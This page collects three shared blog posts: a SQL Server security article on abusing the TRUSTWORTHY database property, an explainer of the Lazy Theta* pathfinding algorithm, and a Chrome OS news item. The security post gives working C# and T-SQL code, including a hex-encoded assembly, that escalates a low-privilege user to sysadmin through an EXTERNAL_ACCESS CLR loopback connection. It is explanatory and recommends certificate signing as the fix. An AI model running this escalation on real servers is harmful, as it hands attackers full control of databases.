Shared posts

18 Jul 06:36

The TRUSTWORTHY Database Property Explained – Part 3

by Sebastian

Introduction

My last two posts about the TRUSTWORTHY database property (Part 1 and Part 2) explained how TRUSTWORTHY changes the effective permissions and how a malicious user could use it to gain SA permission on your server. Today I am going to look at another feature that "requires" a database to be TRUSTWORTHY: CLR Assemblies with PERMISSION_SET = EXTERNAL_ACCESS. External access is for example needed if you want to write an assembly that offers functionality requiring direct file or network access.

Example

Let's dive into an example right away: This little bit of C# code creates an assembly providing a method ExecuteNonQuery that allows you to directly connect to another SQL Server and execute a command. It requires a connection string and the command as parameters.

using System.Data.SqlClient;

namespace OutsideConnection
{
    public class OutsideConnection
    {
        public static void ExecuteNonQuery(string connectionString, string command)
        {
            SqlConnection conn = null;
            try
            {
                conn = new SqlConnection(connectionString);
                conn.Open();
                (new SqlCommand {Connection = conn, CommandText = command}).ExecuteNonQuery();
            }
            finally
            {
                if (conn != null)
                    conn.Close();
            }
            
        }
    }
}

The following code creates a database ExternalCLRDb and then installs the above assembly into it. It also creates the stored procedure OutsideConnection and links it to the ExecuteNoneQuery method of the assembly.

USE [tempdb]
GO
IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;
GO
CREATE PROCEDURE #ForceDropDatabase
@db_name NVARCHAR(MAX)
AS
BEGIN
  IF(DB_ID(@db_name)IS NOT NULL)
  BEGIN
    EXEC('
    USE master;
    ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;
    USE '+@db_name+';
    ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
    USE master;
    DROP DATABASE '+@db_name+';
    ');
  END;
END
GO
EXEC #ForceDropDatabase 'ExternalCLRDb';
GO
IF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'ExternalCLRLogin') DROP LOGIN ExternalCLRLogin;
CREATE LOGIN ExternalCLRLogin WITH PASSWORD = '********';
GO
CREATE DATABASE ExternalCLRDb WITH TRUSTWORTHY ON;
GO
ALTER AUTHORIZATION ON DATABASE::ExternalCLRDb TO ExternalCLRLogin;
GO
USE ExternalCLRDb;
GO
CREATE ASSEMBLY [OutsideConnection]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030085F1C5510000000000000000E00002210B010800000A000000060000000000009E280000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000502800004B000000004000004803000000000000000000000000000000000000006000000C000000B42700001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A408000000200000000A000000020000000000000000000000000000200000602E72737263000000480300000040000000040000000C0000000000000000000000000000400000402E72656C6F6300000C000000006000000002000000100000000000000000000000000000400000420000000000000000000000000000000080280000000000004800000002000500AC2000000807000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B3002003700000001000011140A02731100000A0A066F1200000A731300000A0B07066F1400000A07036F1500000A076F1600000A26DE0A062C06066F1700000ADC2A0001100000020002002A2C000A000000001E02281800000A2A42534A4201000100000000000C00000076342E302E33303331390000000005006C00000038020000237E0000A40200002C03000023537472696E677300000000D00500000800000023555300D8050000100000002347554944000000E80500002001000023426C6F620000000000000002000001471502000900000000FA2533001600000100000016000000020000000200000002000000180000000E00000001000000010000000200000000000A00010000000000060042003B0006008A0078000600A10078000600BE0078000600DD0078000600F600780006000F01780006002A01780006004501780006007D015E01060091015E0106009F0178000600B80178000600EF01D50106001B0208023F002F02000006005E023E0206007E023E020A00BE02A8020A00DF02CC020A00F102A8020A000B03CC0200000000010000000000010001000100100020002000050001000100502000000000960049000A000100A420000000008618590010000300000001005F00000002007000110059001400190059001400210059001400290059001400310059001400390059001400410059001400490059001400510059001900590059001400610059001400690059001400710059001400790059001E00890059002400910059001000990059001400A100EC021000A90059001000A900FC022900B10015031400B10049002F00A100250310000900590010002E000B003A002E00130051002E001B0051002E00230051002E002B003A002E00330057002E003B0051002E004B0051002E0053006F002E00630099002E006B00A6002E007300EE002E007B00F7002E0083000001330004800000010000000000000000000000000020000000040000000000000000000000010032000000000004000000000000000000000001009C02000000000000003C4D6F64756C653E004F757473696465436F6E6E656374696F6E2E646C6C004F757473696465436F6E6E656374696F6E006D73636F726C69620053797374656D004F626A65637400457865637574654E6F6E5175657279002E63746F7200636F6E6E656374696F6E537472696E6700636F6D6D616E640053797374656D2E5265666C656374696F6E00417373656D626C795469746C6541747472696275746500417373656D626C794465736372697074696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C79436F6D70616E7941747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C7954726164656D61726B41747472696275746500417373656D626C7943756C747572654174747269627574650053797374656D2E52756E74696D652E496E7465726F70536572766963657300436F6D56697369626C65417474726962757465004775696441747472696275746500417373656D626C7956657273696F6E41747472696275746500417373656D626C7946696C6556657273696F6E4174747269627574650053797374656D2E52756E74696D652E56657273696F6E696E67005461726765744672616D65776F726B4174747269627574650053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650053797374656D2E446174610053797374656D2E446174612E53716C436C69656E740053716C436F6E6E656374696F6E0053797374656D2E446174612E436F6D6D6F6E004462436F6E6E656374696F6E004F70656E0053716C436F6D6D616E64007365745F436F6E6E656374696F6E004462436F6D6D616E64007365745F436F6D6D616E645465787400436C6F736500000003200000000000ED2E3F488BD67C49974C556E7224EE670008B77A5C561934E089050002010E0E03200001042001010E0420010102052001011141042001010805200101124D03200008060702124D1255160100114F757473696465436F6E6E656374696F6E000005010000000017010012436F7079726967687420C2A920203230313300002901002464333139343637622D653032342D343335662D386661342D31386663666462363032323400000C010007312E302E302E3000004701001A2E4E45544672616D65776F726B2C56657273696F6E3D76342E300100540E144672616D65776F726B446973706C61794E616D65102E4E4554204672616D65776F726B20340801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000000085F1C55100000000020000007D000000D0270000D0090000525344533A1547F7E3FF744BA066AC25B99F142302000000433A5C446174615C73766E5C53514C5C5F426C6F675F41626F75745F5C5472757374776F727468795C53514C5F434C525C4F757473696465436F6E6E656374696F6E5C6F626A5C52656C656173655C4F757473696465436F6E6E656374696F6E2E706462000000007828000000000000000000008E280000002000000000000000000000000000000000000000000000802800000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000F00200000000000000000000F00234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B00450020000010053007400720069006E006700460069006C00650049006E0066006F0000002C02000001003000300030003000300034006200300000004C0012000100460069006C0065004400650073006300720069007000740069006F006E00000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E00300000004C001600010049006E007400650072006E0061006C004E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003100330000005400160001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C000000440012000100500072006F0064007500630074004E0061006D006500000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000A03800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = SAFE
GO
CREATE PROCEDURE dbo.OutsideConnection
  @ConnectionString NVARCHAR(MAX),
  @Command NVARCHAR(MAX)
AS EXTERNAL NAME OutsideConnection.[OutsideConnection.OutsideConnection].ExecuteNonQuery;
GO
CREATE SCHEMA hlp;
GO
CREATE FUNCTION hlp.CurrentTokens()
RETURNS TABLE
AS
RETURN
  SELECT 'CurrentTokens' info,'|'[|],USER_NAME() [user],SUSER_NAME() [login],'|'[l], *
  FROM(
    SELECT 'user' token_source,name, type, usage FROM sys.user_token
    UNION ALL
    SELECT 'login' token_source,name, type, usage FROM sys.login_token
  )X;
GO
IF USER_ID('FewPermissionsUser') IS NOT NULL DROP USER FewPermissionsUser;
IF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'FewPermissionsLogin') DROP LOGIN FewPermissionsLogin;

CREATE LOGIN FewPermissionsLogin WITH PASSWORD = '********';
CREATE USER FewPermissionsUser FOR LOGIN FewPermissionsLogin;

GRANT EXECUTE,SELECT ON SCHEMA::hlp TO FewPermissionsUser;
GRANT EXECUTE ON dbo.OutsideConnection TO FewPermissionsUser;

Note that while the database is created as TRUSTWORTHY, the code follows the advice given in the previous article and sets the database owner to a login without any special permissions. Also, the assembly is created with PERMISSION_SET = SAFE .

After the assembly is installed, the code creates the hlp.CurrentTokes function that we have used before. It also creates a login and an associated user with just a few permissions.

Permission Set Safe

Now that the assembly is installed, let's run a quick test:

USE ExternalCLRDb;
GO
EXECUTE AS USER='FewPermissionsUser';
GO
SELECT * FROM hlp.CurrentTokens();
GO
IF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;

EXEC dbo.OutsideConnection 'Context Connection=true;','SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'

SELECT * FROM ##CurrentTokens;
GO
REVERT

This T-SQL Script switches the database context to the new database and the security context to the new user FewPermissionsUser. Then it uses the CurrentTokens function to show the security tokens currently in effect. Afterwards it calls the OutsideConnection procedure passing in Context Connection=true; as the connection string. This causes the ExecuteNonQuery method to use the current connection (the connection it is executed in) when running the passed in command. The ExecuteNonQuery method cannot return a result set back to us. Instead the code is storing the result of the query in a global temp table and selects it back out from there after the OutsideConnection call finishes. The output clearly shows that the tokens in effect are indeed the same:

Tokens when using Context Connection The TRUSTWORTHY Database Property Explained – Part 3

So far nothing conspicuous has happened. Now let's try to connect to another server by specifying a real connection string:

access to other server failes The TRUSTWORTHY Database Property Explained – Part 3

This fails right away, because of some problem with System.Data.SqlClient.SqlClientPermission. This is caused by the assembly having been created with PERMISSION_SET = SAFE. In this mode access to outside resources is prohibited. To fix that we can just switch the assembly to PERMISSION_SET = EXTERNAL_ACCESS:

ALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;

However, that attempt fails too:

External Access Assembly permission required The TRUSTWORTHY Database Property Explained – Part 3

As the error message tells us, the reason is that you need one of two things to create an assembly with PERMISSION_SET = EXTERNAL_ACCESS. You either need to sign the assembly with a certificate, create a login from that same certificate and grant that login the EXTERNAL ACCESS ASSEMBLY permission. This is a process that seems too complex for many; they just use the alternative and set the database to TRUSTWORTHY. With that you can just grant the database owner the EXTERNAL ACCESS ASSEMBLY permission and don't have to worry about complex certificates.

In our case the database is TRUSTWORTHY already, so we just need to grant the inconspicuous EXTERNAL ACCESS ASSEMBLY to ExternalCLRLogin which is the login that owns our database:

EXEC master.sys.sp_executesql N'GRANT EXTERNAL ACCESS ASSEMBLY TO ExternalCLRLogin;';
ALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;

The sp_executesql procedure is used as granting server level permissions requires the database context to be master. These two statements should run without problems.

Hacking Away

Now nothing is holding us back connecting to our external server. But we are not going to. Instead we are going to try to connect back to the server we are on:

EXECUTE AS USER='FewPermissionsUser';
GO

IF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;

DECLARE @ConnectionString NVARCHAR(MAX) = N'Data Source='+ CAST(SERVERPROPERTY('ServerName') AS NVARCHAR(MAX))+N';Initial Catalog=ExternalCLRDb;Integrated Security=SSPI;';
EXEC dbo.OutsideConnection @ConnectionString,'SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'

SELECT * FROM ##CurrentTokens;

GO
REVERT

The connection string is build using the current server name (which includes the instance name, if any) and hardcodes the ExternalCLRDb database name. The connection string also sets integrated security to true.

Let me clarify this all a little: When this code executes, SQL Server is going to connect back to itself using integrated security.

You are probably sensing already where this is going, so let's confirm:

Successful Permission Elevation The TRUSTWORTHY Database Property Explained – Part 3

CLR code is executed by the SQL Server service. That means the windows account executing that service is what is used when connecting to an external SQL Server using integrated security. When that server is the same server that is running the assembly this means that the code instantly acquires sysadmin level privileges, as the SQL Server Service account always is a sysadmin inside its own SQL Server Instance.

Summary

The TRUSTWORTHY database property is a quick way to get past many security related road blocks. However, as this article series has shown, turning that setting on allows anyone that is a member of the db_owner role in that database to elevate their account to a sysadmin. While all these exploits require the one or the other additional setting or permission to be in place, it is not uncommon to find a server having been setup just right for at least one of them

What is particularly bad about the use of the TRUSTWORTHY database setting to give a particular assembly external access is that it opens up other assemblies to be installed later on in that database with the same permission set. While the first one might have been a perfectly valid use of an assembly from a trusted source, now a malicious user can install their own assembly to gain full server access. All that is required for this is the permissions to create an assembly in that particular database.

As I pointed out before, all these "security related road blocks" can be dealt with using certificates. In the case of an assembly you could grant a particular assembly that you trust the necessary permission without affecting other assemblies or any other security settings. You just need to sign that assembly with a certificate. That is easy to set up in Visual Studio. Then you need to import that certificate into SQL Server, create a login from it and grant that login the EXTERNAL ACCESS ASSEMBLY permission. The exact details of how to do this will be the topic of a later post.

16 Jul 20:17

Lazy Theta*: Faster Any-Angle Path Planning

by Alex J. Champandard

(Copyright © AiGameDev.com, 2013.)

Lazy Theta*: Faster Any-Angle Path Planning

This article was written by Alex Nash, a software engineer at Northrop Grumman with a Ph.D. from the University of Southern California, specializing in path planning for video games and robotics. You can contact him by email <alexwnash at gmail.com>.

In path finding, A*-like algorithms rely on a discrete navigation representation such as grids or navigation meshes » Click here to view this embedded content., » Click here to view this embedded content., » Click here to view this embedded content., which then requires path smoothing as a post-process. Any-angle path planning algorithms tackle both these tasks at the same time, for instance the Theta* algorithm that selectively performs line-of-sight calculations while path finding. This article digs into optimizations of Theta* reducing the number of line-of-sight checks required and optimizing the algorithm.

Grid Paths

Figure 1: Grid Paths: Square Grid (left), Navigation Mesh adapted from » Click here to view this embedded content. (center) and Cubic Grid (right)

Any-Angle Paths

Figure 2: Any-Angle Paths: Square Grid (left), Navigation Mesh adapted from » Click here to view this embedded content. (center) and Cubic Grid (right)

Any-angle path planning algoirthms propagate information along graph edges (to achieve short runtimes), but do not constrain paths to be formed by graph edges (to find short "any-angle" paths). This can be seen by comparing Figure 1, which depicts grid paths, with Figure 2, which depicts any-angle paths. One such algorithm, Theta* » Click here to view this embedded content.» Click here to view this embedded content., that we discussed in our previous article, finds short and realistic looking paths (the author suggests you take a quick look at the Theta* article before reading this one). Theta* can be slower than A* and A* with a post processing technique because it performs a line-of-sight check for each unexpanded visible neighbor of each expanded vertex. As a result, on large grids, Theta* can perform lots of line-of-sight checks and line-of-sight checks can be time consuming.

Many Line-of-sight Checks

Figure 3: Line-of-sight checks performed by Theta* (left) and Lazy Theta* (right)

Luckily, it turns out that Theta* performs more line-of-sight checks than it has to. If Theta* performs a line-of-sight check between a vertex s and its parent, and vertex s is never expanded, then it is wasted computation. Given that that is the case, Theta* might be a little too eager to perform line-sight checks because it peforms a line-of-sight check for each unexpanded visible neighbor of each expanded vertex even though many of those vertices may never be expanded. Therefore, the question is, how can Theta* take a more laid back approach to performing line-of-sight checks while still finding short and realistic looking paths?

This was the topic of a recent paper » Click here to view this embedded content. that I co-wrote with Sven Koenig and Craig Tovey and which was presented at AAAI'10. In the paper, we presented a new any-angle path planning algorithm, called Lazy Theta*. Lazy Theta* is a variant of Theta* and thus it propagates information along graph edges (to achieve a short runtime) without constraining the paths to graph edges (to find "any-angle" paths). Like Theta*, Lazy Theta* is simple (to understand and to implement), fast and finds short and realistic looking paths. In fact, the pseudo code for Lazy Theta* has only four more lines than the pseudo code for A* (red lines in Figure 4). Lazy Theta* is faster than Theta* because it takes a much more laid back approach as to when it peforms line-of-sight checks and yet it still finds short and realistic looking paths. We show experimentally that Lazy Theta* finds paths faster than Theta*, with significantly fewer line-of-sight-checks than Theta* and without an increase in path length. For example, in the simple search depicted in Figure 3, both Theta* and Lazy Theta* find the same path, but Theta* performs 15 line-of-sight checks while Lazy Theta* performs only 4 line-of-sight checks. We also introduce Lazy Theta* with Optimizations. Lazy Theta* with Optimizations finds paths whose lengths are similar to those found by Lazy Theta*, however it often performs more than one order of magnitude fewer line-of-sight checks (and vertex expansions).

For simplicity, this article will focus on square grids in which a two-dimensional continuous environment is discretized into square cells that are either blocked (grey) or unblocked (white). Furthermore, we map vertices to the corners of cells as opposed to the centers of cells. Neither of these two assumptions is required for Theta*, Lazy Theta* or Lazy Theta* with Optimizations to function correctly. Our goal is to find a short and realistic looking path from the start location to the goal location (both at the corners of cells) that does not pass through blocked cells, as shown in Figure 2 (left).

We assume an eight-neighbor grid throughout this article, where V is the set of all grid vertices, sstart in V is the start vertex of the search, and sgoal in V is the goal vertex of the search. c(s,s') is the straight line distance between vertices s and s', and lineofsight(s,s') is true if and only if they have line-of-sight. Psuedo code for lineofsight can be found here. nghbrvis(s) in V is the set of neighbors of vertex s in V that have line-of-sight to s. Unless, otherwise stated all algorithms use the straight line distances as h-values.

Lazy Theta*

Lazy Theta* psuedo code

Figure 4: Pseudo Code of A* (left), Theta* (center) and Lazy Theta* (right)

Lazy Theta* is shown in Figure 4 (right)» Click here to view this embedded content. along with Theta* (center) and A* (left). Our inspiration is provided by probabilistic road maps (PRMs), where lazy evaluation has been used to reduce the number of line-of-sight checks (collision checks) by delaying them until they are absolutely necessary » Click here to view this embedded content..

Theta* updates the g-value and parent of an unexpanded visible neighbor s′ of a vertex s in procedure ComputeCost by considering Path 1 and Path 2:

It considers Path 2 if s′ and parent(s) have line-of-sight. Otherwise, it considers Path 1. Lazy Theta* optimistically assumes that s′ and parent(s) have line-of-sight without performing a line-of-sight check (Line 30 (right)). Thus, it delays the line-of-sight check and considers only Path 2. This assumption may of course be incorrect (Figure 5 (right)). Therefore, Lazy Theta* performs the line-of-sight check in procedure SetVertex immediately before expanding vertex s′. If s′ and parent(s′) indeed have line-of-sight (Line 35 (right)), then the assumption was correct and Lazy Theta* does not change the g-value and parent of s′. If s′ and parent(s′) do not have line-of-sight, then Lazy Theta* updates the g-value and parent of s′ according to Path 1 by considering the path from sstart to each expanded visible neighbor s′′ of s′ and from s′′ to s′ in a straight line and choosing the shortest such path (Lines 37 and 38 (right)). We know that s′ has at least one expanded visible neighbor because s′ was added to the open list when Lazy Theta* expanded such a neighbor.

Lazy Theta* example

Figure 5: Lazy Theta* updates a vertex according to Path 2 without a line-of-sight check.

Lazy Theta* trace 1

Figure 6: Example Trace of Lazy Theta*

Figure 6 shows a complete trace of Lazy Theta*. Each vertex is labeled with an arrow pointing to its parent vertex. The hollow red circle indicates which vertex is currently being expanded. When B3 with parent A4 is being expanded, B2 is an unexpanded visible neighbor of B3. Lazy Theta* optimistically assumes that B2 has line-of-sight to A4. B2 is expanded next. Since B2 and A4 do not have line-of-sight, Lazy Theta* updates the g-value and parent of B2 according to Path 1 by considering the paths from the start vertex to B3 to each expanded visible neighbor s′′ of B2 (namely, B3) and from s′′ to B2 in a straight line. Lazy Theta* sets the parent of B2 to B3 since the path from A4 to B3 and from B3 to B2 in a straight line is the shortest such path. In this example, Lazy Theta* and Theta* find the same path from the start vertex A4 to the goal vertex C1, but Lazy Theta* performs 4 line-of-sight checks, while Theta* performs 13 line-of-sight checks.

While, Lazy Theta* provides a better tradeoff with respect to path length and runtime than Theta* it can still be slower than A* with Post Smoothing because it can perform more vertex expansions and more line-of-sight checks. To address this shortcoming we introduced Lazy Theta* with Optimizations. Lazy Theta* with Optimizations was covered in my dissertation » Click here to view this embedded content..

Lazy Theta* with Optimizations

So far, Theta* and Lazy Theta* have used consistent h-values (that is, h-values that obey the triangle inequality), namely the straight line distances. A* with consistent h-values finds paths of the same length no matter how small or large the h-values are. A* with inconsistent h-values is able to find longer paths at a decrease in runtime by using weighted h-values with weights greater than one. We therefore now discuss a variant of Lazy Theta*» Click here to view this embedded content., Lazy Theta* with Optimizations, that can find longer paths at a decrease in runtime by using weighted h-values with weights greater than one. Lazy Theta* with Optimizations uses the h-values h(s) = w * c(s, sgoal) for a given weight w > 1 and thus is similar to Weighted A*. Weighted A* with w > 1 can significantly reduce runtimes without a significant increase in path lengths » Click here to view this embedded content..

In this section, we show that, by using weighted h-values with weights greater than one, Lazy Theta* can find paths faster without a significant increase in the lengths of the resulting paths. A* searches with inconsistent h-values typically expand fewer vertices, but often find longer paths because every vertex omitted from a search explicitly omits a potential path. If a vertex s is not expanded during a search then a visible neighbor s′ of vertex s cannot have vertex s as its parent and thus vertex s cannot be on any path. For Lazy Theta*, the effect of not expanding a vertex during the search is different because Lazy Theta* considers both Path 1 and Path 2. If a vertex s is not expanded during a search, then a visible neighbor s′ of vertex s cannot have vertex s as its parent, but vertex s′ can still potentially have parent parent(s) (that is, the parent that vertex s would have had if vertex s had been expanded) due to Path 2. In fact, it is likely that several other vertices have parent parent(s) from which vertex s′ can inherit parent parent(s). In other words, Lazy Theta* with Optimizations may be able to find short paths while performing many fewer vertex expansions (and thus many fewer line-of-sight checks).

Lazy Theta* Optimizations

Figure 7: Lazy Theta* with w=1 (left) and Lazy Theta* with w=1.1 (right)

Figure 7 shows an example in which Lazy Theta* with Optimizations provides a far better tradeoff with respect to path length and runtime. In Figure 7 (left), a Lazy Theta* search with w=1 was performed and a purple dot was placed on every expanded vertex. Similarly, in Figure 7 (right), a Lazy Theta* search with w=1.1 was performed and a purple dot was placed on every expanded vertex. The Lazy Theta* search with w=1 performed more than one order of magnitude more line-of-sight checks AND vertex expansions than the Lazy Theta* search with w=1.1. However, the ratio of the path lengths is only 1.002 (not depicted in the figure). While there are environments, such those with a cul-de-sac, in which the tradeoff with respect to path length and runtime is not quite as good for Lazy Theta* with Optimizations, there are many environments in which it provides an excellent tradeoff with respect to path length and runtime.

Analysis

While Theta* found paths whose lengths were nearly identical to the lengths of the truly shortest paths (see our previous article) it did so with a longer runtime than A* and A* with Post Smoothing. This was because Theta* performed both more vertex expansions and more line-of-sight checks than A* and A* with Post Smoothing, respectively. To address this shortcoming we introduced Lazy Theta* and Lazy Theta* with Optimizations. We performed an extensive analysis using both small and large square grids from Bioware's popular RPG Baldur’s Gate (game maps) and square grids with given percentages of randomly blocked cells (random maps). We found that on average the ratio of the lengths of the paths found by Theta* and Lazy Theta* was 1.002 on random maps, however Lazy Theta* peformed one third the number of line-of-sight checks that Theta* performed. As the number of line-of-sight checks and the runtime of line-of-sight checks increases so does the runtime advantage of Lazy Theta* over Theta*. For example, on 26-neighbor cubic grids Lazy Theta* performs one order of magnitude fewer line-of-sight checks than Theta* and can be nearly twice as fast. Lazy Theta* with Optimizations can provide and even better tradeoff with respect to the runtime of the search and the length of the resulting path. We found that on average the ratio of the lengths of the paths found by Theta* and Lazy Theta* with Optimizations was 1.006 on random maps, however Lazy Theta* with Optimizations peformed two orders of magnitude fewer line-of-sight checks and more than one order of magnitude fewer vertex expansions. In fact, in certain environments, Lazy Theta* with Optimizations performed the same number of vertex expansions as A* with the octile heuristic (a version of A* that can be extremely efficient) and the same number of line-of-sight checks as A* with Post Smoothing, while finding paths that were 2% shorter and more realistic looking.

Concluding Remarks

I hope this article will serve to highlight the usefulness of any-angle path planning methods for efficiently finding short and realistic looking paths. For more information on Theta*, Lazy Theta* and Lazy Theta* with Optimizations I suggest taking a look at the original papers » Click here to view this embedded content.» Click here to view this embedded content.,» Click here to view this embedded content. or visiting our any-angle path planning web page. If you like Theta*, Lazy Theta* and Lazy Theta* with Optimizations, you may also like Field D* » Click here to view this embedded content., Block A* » Click here to view this embedded content. and Accelerated A* » Click here to view this embedded content..

If you have specific questions or comments regarding anything described in this article, please feel free to contact me.

Footnotes

» Click here to view this embedded content. open.Insert(s,x) inserts vertex s with key x into open. open.Remove(s) removes vertex s from open. open.Pop() removes a vertex with the smallest key from open and returns it.

» Click here to view this embedded content. These same optimizations can be used for Theta* as well, however they are less effective because Theta* performs many more line-of-sight checks per vertex expansion.

References

              Theta*: Any-Angle Path Planning on Grids
              » Click here to view this embedded content. A. Nash, K. Daniel, S. Koenig and A. Felner (Download PDF)
              (2007) Proceedings of the AAAI Conference on Artificial Intelligence
            
              Theta*: Any-Angle Path Planning on Grids
              » Click here to view this embedded content. A. Nash, K. Daniel, S. Koenig and A. Felner (Download PDF)
              (2010) Journal of Artificial Intelligence Research
            
              Lazy Theta*: Any-Angle Path Planning and Path Length Analysis in 3D
              » Click here to view this embedded content. A. Nash and S. Koenig and C. Tovey (Download PDF)
              (2010) Proceedings of the AAAI Conference on Artificial Intelligence
            
              Any-Angle Path Planning
              » Click here to view this embedded content. A. Nash (Download PDF)
              (2012) Dissertation
            
              Comparison of Different Grid Abstractions for Pathfinding on Maps
              » Click here to view this embedded content. Y. Bjornsson, M. Enzenberger, R. Holte, J. Schaeffer and P. Yap (Download PDF)
              (2003) Proceedings of the International Joint Conference on Artificial Intelligence
            
              AI Game Programming Wisdom 2: Search Space Representations
              » Click here to view this embedded content. P. Tozour
              (2004) Charles River Media, pp. 85-102
            
              Game Programming Gems: A* Aesthetic Optimizations
              » Click here to view this embedded content. S. Rabin
              (2000) Charles River Media, pp. 264-271
            
              Using Interpolation to Improve Path Planning: The Field D* Algorithm
              » Click here to view this embedded content. D. Ferguson and A. Stentz (Download FILE)
              (2006) Journal of Field Robotics, Volume 23, Issue 2, pp. 79-101
            
              Grid-Based Path-Finding
              » Click here to view this embedded content. P. Yap (Download FILE)
              (2002) Proceedings of the Canadian Conference on Artificial Intelligence, pp. 44-55
            
              Formal Basis for the Heuristic Determination of Minimum Cost Paths
              » Click here to view this embedded content. P.E. Hart, N.J Nilsson, B. Raphael (Download FILE)
              (1968)  IEEE Transactions on Systems Science and Cybernetics, Volume 4, Issue 2
            
              Amit's Game Programming Information
              » Click here to view this embedded content. (2000) A. Patel (View Online)
            
              Path Planning Using Lazy PRM
              » Click here to view this embedded content. R. Bohlin and L.Kavraki (Download FILE)
              (2000) Proceedings of the IEEE Transactions on Robotics and Automation
            
              Block A*: Database-Driven Search with Applications in Any-angle Path-Planning
              » Click here to view this embedded content. P. Yap and N. Burch and R. Holte and J. Schaeffer (Download PDF)
              (2011) Proceedings of the AAAI Conference on Artificial Intelligence
            
              Linear-space best-first searc
              » Click here to view this embedded content. R. Korf
              (1993) Journal of Artificial Intelligence
            
              Accelerated A* Path Planning
              » Click here to view this embedded content. D. Sislak and P. Volf and M. Pechoucek (Download FILE)
              (2009) Proceedings of AAMAS Conference on Autonomous Agents & Multiagent Systems 
            
04 Jul 19:48

Chrome OS Build Allows Native Editing of Word and Excel Files

by Sam Dean

Microsoft has been enjoying some success recently, as Windows 8 finally starts to grab more market share, but it may surprise some people to learn that a huge portion of the company's revenues come from the Microsoft Office suite of applications, which many offices standardize on for compatibility reasons. As good as the free, open productivity suites have become, they still tend not to be totally compatible with applications like Word and Excel.

That's why it was big news back in May when we reported on how the Chrome browser (Windows and Mac versions) now has features built in to allow users to open Microsoft Word, Excel, and PowerPoint files directly in the browser. This functionality is a very logical extension of Google's strategy to facilitate applications in the cloud, and now news has arrived that Chrome OS users can start experimenting with editing Microsoft Excel and Word files. 

According to a Google+ post from Francois Beaufort:

"If you still have to deal with Microsoft Office files everyday on your Chrome OS Device, you can start to breathe: Chrome OS users can now experiment with editing Microsoft Excel and Word files."

"Yes! All you need is to be on Dev Channel and enable the obscure chrome://flags/#enable-quick-office-editing flag. Then, you're good to go ;) 
Obviously, this is the very beginning and it might be a little bit buggy. Therefore, I would recommend you fill quickoffice bugs at this custom URL http://goo.gl/VsGHL and attach your office files (if you can) in order to quickly improve it."

